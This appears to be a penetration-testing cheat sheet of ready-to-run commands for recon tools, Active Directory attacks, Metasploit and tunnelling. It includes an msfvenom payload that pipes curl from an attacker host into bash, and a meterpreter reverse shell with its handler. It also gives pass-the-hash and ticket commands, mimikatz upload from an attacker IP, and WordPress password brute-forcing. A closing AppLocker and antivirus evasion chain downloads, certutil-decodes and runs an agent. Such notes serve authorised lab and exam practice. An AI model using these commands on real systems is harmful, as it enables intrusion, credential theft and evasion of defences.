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autorecon

Basic usage

```
autorecon TARGET_IP
```

Scanning multiple hosts

```
autorecon -t targets.txt  
#or the below  
sudo $(which autorecon) TARGET_IP1 TARGET_IP2 TARGET_IP3 -vv
```

nmap

Base Syntax

```
nmap {Targets} [ScanType] [Options]
```

Target

Purpose	Example
1 target	<code>nmap IP</code>
scan multiple targets	<code>nmap IP1, IP2, IP3</code>
scan a list	<code>nmap -iL list.txt</code>
scan CIDR range	<code>nmap 192.168.1.0/24</code>

Ports

Purpose	Example
Scan top 1k popular ports	<code>nmap IP</code>
Port range	<code>nmap -p x-y</code>
Port list	<code>nmap -p x,y,z</code>
linear portrange	<code>nmap -r x-y</code>

Probing

Purpose	Example
Don't probe	<code>nmap IP -Pn</code>
Default probe	<code>nmap IP -PB</code>
ICMP Echo Request	<code>nmap IP -PE</code>
ICMP Timestamp Request	<code>nmap IP -PP</code>
ICMP Network Request	<code>nmap IP -PM</code>

Scan Type

Purpose	Example
Probe only	<code>nmap IP -sn</code>
SYN Scan	<code>nmap IP -sS</code>
TCP Connect Scan	<code>nmap IP -sT</code>
UDP Scan	<code>nmap IP -su</code>
Version scan	<code>nmap IP -sV</code>
OS Detection	<code>nmap IP -PM</code>
Set TCP flags	<code>nmap IP --scanflags: x,y,z</code>

Timing Options

Purpose	Example
Paranoid	<code>nmap IP -T0</code>
Sneaky	<code>nmap IP -T1</code>
Polite	<code>nmap IP -T2</code>
Normal	<code>nmap IP -T3</code>
Aggressive	<code>nmap IP -T4</code>
Insane	<code>nmap IP -T5</code>

Output Format

Purpose	Example
Standard	<code>nmap IP -oN file.txt</code>
Greppable	<code>nmap IP -oG file.txt</code>
XML	<code>nmap IP -oX file.txt</code>
all formats	<code>nmap IP -oA file</code>

Misc Options

Purpose	Example
---------	---------

Aggresive scan	<code>nmap IP -A</code>
nmap reason why a port is in a state	<code>nmap IP --reason</code>

wpscan

Basic usage

```
wpscan --url http://TARGET_IP
```

Scan for plugins

```
wpscan --url http://TARGET_IP -e p
```

Scan for users

```
wpscan --url http://TARGET_IP -e u
```

Scan for vulnerable plugins

```
wpscan --url http://TARGET_IP -e vp
```

Brute force passwords

```
wpscan --url http://TARGET_IP --passwords /usr/share/wordlists/rockyou.txt
```

fuff

Basic Usage

```
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u  
http://TARGET_IP:PORT/FUZZ
```

nikto

Basic usage

```
nikto -host http://TARGET_IP -p PORT
```

gobuster

Basic usage

```
gobuster dir -u http://TARGET_IP:PORT -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
```

Enumerating with extensions (filter the extension based on target)

```
gobuster dir -u http://TARGET_IP:PORT -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,txt,py,html,aspx
```

Enumerating vhosts (after updating `/etc/hosts`)

```
gobuster vhost -u <http://hostname.domain> -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --ad
```

netexec

Enumeration

SMB

```
netexec smb targets.txt -u user_name -H 'NTLM_HASH'
```

```
netexec smb TARGET_IP -u user_name -H 'NTLM_HASH' --groups --local-groups --loggedon-users --rid-brute --users --shares --pass-pol
```

winrm

```
netexec winrm targets.txt -u user_name -H 'NTLM_HASH'
```

powerview

1. Enumerate common names

```
Get-DomainComputer | select cn
```

msf

Linux payloads

With commands

```
msfvenom -p linux/x64/exec CMD='echo I love programming. && curl http://YOUR_IP/shell.php | bash' -f elf -o shellme.elf
```

Windows

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 EXITFUNC=thread -f csharp > payload.c
```

Catch with

```
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost tun0; set lport 443;set exitfunc thread; exploit -j"
```

rubeus

```
Rubeus.exe asktgt /user:username /rc4:NTLM_hash /ptt
```

powersploit

Reset a user's password

```
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force  
Set-DomainUserPassword -Identity nina -AccountPassword $UserPassword
```

mimikatz

You will need to first upload the binaries to the target, either via a meterpreter shell or powershell:

meterpreter

```
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe  
upload /usr/share/windows-resources/mimikatz/x64/mimidrv.sys
```

powershell

```
powershell -ep bypass -c iwr YOUR_IP/mimikatz.exe -o .\mimikatz.exe  
powershell -ep bypass -c iwr YOUR_IP/mimidrv.sys -o .\mimidrv.sys
```

ligolo-ng

You can use the standard apt repos if you don't need to do any modifications, e.g. bypassing Applocker or CLM.

```
sudo apt install ligolo-ng ligolo-ng-common-binaries -y
```

Basic tunnel

1. start `ligolo-proxy`

```
sudo ligolo-proxy -selfcert
```

1. Connect the agent
2. enter session and list network configuration

```
#in ligolo-ng  
sessions  
ifconfig
```

3. set route

1. 1 hop

```
autoroute  
start
```

2. 2 hops

AV evasion

1. Clone the repository

```
git clone https://github.com/nicocha30/ligolo-ng.git
```

2. Edit the `ignoreCertificate` and `serverAddr` variables in the following file `/ligolo-ng/cmd/agent/main.go`

3. Compile the `agent.exe` using the following command

```
G00S=windows go build -o agent.exe cmd/agent/main.go
```

4. Compile as `x64` and give the name `AppLockerBypassExternalBinary.exe` - [Github Repo](#)

5. Encode the file created above with certutil

```
certutil.exe -encode .\AppLockerBypassExternalBinary.exe AppLockerBypassLigolo.txt
```

6. Rename the `agent.exe` to `ligolo-agent.exe`

7. Serve the files (`ligolo-agent.exe` and `AppLockerBypassLigolo.txt`)

8. Upload the files to the target

```
cmd.exe /c curl http://YOUR_IP/ligolo-agent.exe -o C:\\users\\public\\try-agent.exe &&  
curl http://YOUR_IP/AppLockerBypassLigolo.txt -o C:\\users\\public\\enc.txt &&  
certutil -decode C:\\users\\public\\enc.txt C:\\users\\public\\ligolo.exe && del  
C:\\users\\public\\enc.txt &&  
C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile=  
/LogToConsole=true /U C:\\users\\public\\ligolo.exe
```